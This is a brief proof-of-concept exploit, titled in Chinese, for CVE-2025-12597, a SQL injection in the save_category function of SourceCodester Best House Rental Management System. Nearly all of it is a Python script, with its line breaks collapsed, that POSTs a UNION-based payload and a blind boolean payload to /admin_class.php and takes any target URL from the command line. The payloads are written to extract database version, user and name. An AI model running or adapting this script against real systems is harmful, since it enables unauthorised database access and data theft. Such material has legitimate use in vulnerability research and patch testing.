CVE-2025-12597 SourceCodester房屋租赁系统save_category函数SQL注入漏洞

import requests import sys # CVE-2025-12597 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Endpoint: /admin_class.php (save_category function) target_url = "http://target.com/admin_class.php" # SQL Injection payload for save_category function # Using UNION-based injection to extract database information payload = { "Name": "test' UNION SELECT NULL,version(),user(),database()-- -", "save_category": "" } # Blind Boolean-based injection alternative blind_payload = { "Name": "test' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1", "save_category": "" } def exploit(target, payload_data): try: response = requests.post(target, data=payload_data, timeout=10) print(f"[*] Request sent to {target}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] print("[*] CVE-2025-12597 SQL Injection PoC") print("[*] Target:", target_url) exploit(target_url, payload)